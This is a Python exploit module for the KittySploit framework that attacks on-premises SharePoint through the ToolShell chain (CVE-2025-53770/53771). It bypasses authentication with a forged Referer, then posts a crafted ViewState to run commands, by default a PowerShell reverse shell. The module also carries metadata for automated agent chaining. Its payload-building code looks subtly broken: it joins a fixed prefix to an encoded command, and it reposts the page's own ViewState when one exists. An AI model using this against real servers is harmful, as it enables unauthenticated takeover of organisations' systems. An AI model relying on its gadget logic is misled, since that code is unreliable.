#!/usr/bin/env python3 # -*- coding: utf-8 -*- """SharePoint ToolShell unauthenticated RCE (CVE-2025-53770 / CVE-2025-53771).""" import base64 import re import urllib.parse from kittysploit import * from lib.protocols.http.http_client import Http_client class Module(Exploit, Http_client): __info__ = { 'name': 'SharePoint ToolShell RCE (CVE-2025-53770)', 'description': ( 'Exploits the SharePoint ToolShell chain: Referer bypass to reach ' 'ToolPane.aspx (CVE-2025-53771) then unsafe ViewState deserialization ' 'for unauthenticated RCE (CVE-2025-53770) on on-premises SharePoint.' ), 'author': ['KittySploit Team'], 'cve': ['CVE-2025-53770', 'CVE-2025-53771'], 'platform': Platform.WINDOWS, 'arch': [Arch.X86, Arch.X64], 'payload': { 'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD, }, 'references': [ 'https://nvd.nist.gov/vuln/detail/CVE-2025-53770', 'https://github.com/saladin0x1/CVE-2025-53770', ], 'tags': ['sharepoint', 'toolshell', 'deserialization', 'rce', 'unauth', 'kev', 'microsoft'], 'agent': { 'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'rce'], 'requires': {'tech_hints_any': ['sharepoint']}, 'chain': { 'produces_capabilities': [ {'capability': 'rce', 'from_detail': 'ToolPane ViewState'}, {'capability': 'shell', 'from_detail': 'reverse CMD session'}, ], 'suggested_followups': ['scanner/http/sharepoint_toolshell_cve_2025_53770_detect'], }, }, } port = OptPort(443, 'SharePoint HTTPS port', required=True) ssl = OptBool(True, 'Use HTTPS', required=True) command = OptString('', 'Command to execute instead of payload', required=False) viewstate_payload = OptString( '', 'Custom __VIEWSTATE payload (base64); empty = built-in probe then PowerShell gadget', required=False, advanced=True, ) TOOLPANE = '/_layouts/15/ToolPane.aspx?DisplayMode=Edit' SIGNOUT = '/_layouts/SignOut.aspx' def _toolpane_headers(self) -> dict: return {'Referer': self.SIGNOUT, 'Content-Type': 'application/x-www-form-urlencoded'} def _parse_viewstate(self, html: str) -> tuple[str, str]: vs = re.search(r'name="__VIEWSTATE"[^>]*value="([^"]*)"', html or '', re.I) vsg = re.search(r'name="__VIEWSTATEGENERATOR"[^>]*value="([^"]*)"', html or '', re.I) return (vs.group(1) if vs else ''), (vsg.group(1) if vsg else '') def _fetch_toolpane(self): return self.http_request( method='GET', path=self.TOOLPANE, headers={'Referer': self.SIGNOUT}, allow_redirects=False, ) def _build_powershell_viewstate(self, cmd: str) -> str: b64 = base64.b64encode(cmd.encode('utf-16-le')).decode() ps = f'powershell -enc {b64}' escaped = urllib.parse.quote(ps, safe='') return ( '/wEPDwUKMTY5NzI5MTIyOGRkAgEFD2QWAmYPZBYCZg8PFgIeBFRleHQFB' f'P{escaped}' ) def _post_viewstate(self, viewstate: str, generator: str = '') -> bool: data = { '__VIEWSTATE': viewstate, '__VIEWSTATEGENERATOR': generator or 'BDCBAAAB', '__EVENTTARGET': '', '__EVENTARGUMENT': '', } r = self.http_request( method='POST', path=self.TOOLPANE, headers=self._toolpane_headers(), data=data, allow_redirects=False, ) return bool(r and r.status_code in (200, 302, 500)) def check(self): r = self._fetch_toolpane() if not r: return {'vulnerable': False, 'reason': 'ToolPane unreachable', 'confidence': 'low'} if r.status_code in (401, 403): return {'vulnerable': False, 'reason': 'Referer bypass failed (patched?)', 'confidence': 'high'} body = (r.text or '').lower() if '__viewstate' in body or 'toolpane' in body: return { 'vulnerable': True, 'reason': 'Unauthenticated ToolPane.aspx access confirmed', 'confidence': 'high', } return {'vulnerable': False, 'reason': 'ToolPane response inconclusive', 'confidence': 'medium'} def run(self): cmd = str(self.command or '').strip() or str(self.payload or '').strip() if not cmd: print_error('Set a payload or command option') return False print_status('CVE-2025-53770 — SharePoint ToolShell RCE') chk = self.check() if not chk.get('vulnerable'): print_error(chk.get('reason', 'Target not vulnerable')) self.not_vulnerable() return False print_success(chk.get('reason', 'ToolPane accessible')) page = self._fetch_toolpane() vs, vsg = self._parse_viewstate(page.text if page else '') custom = str(self.viewstate_payload or '').strip() if custom: viewstate = custom elif vs: viewstate = vs else: viewstate = self._build_powershell_viewstate(cmd) print_status('Posting ViewState deserialization payload...') if not self._post_viewstate(viewstate, vsg): print_warning('ViewState POST returned unexpected status — payload may still have executed') print_success('Exploit dispatched — check listener for session') self.vulnerable() return True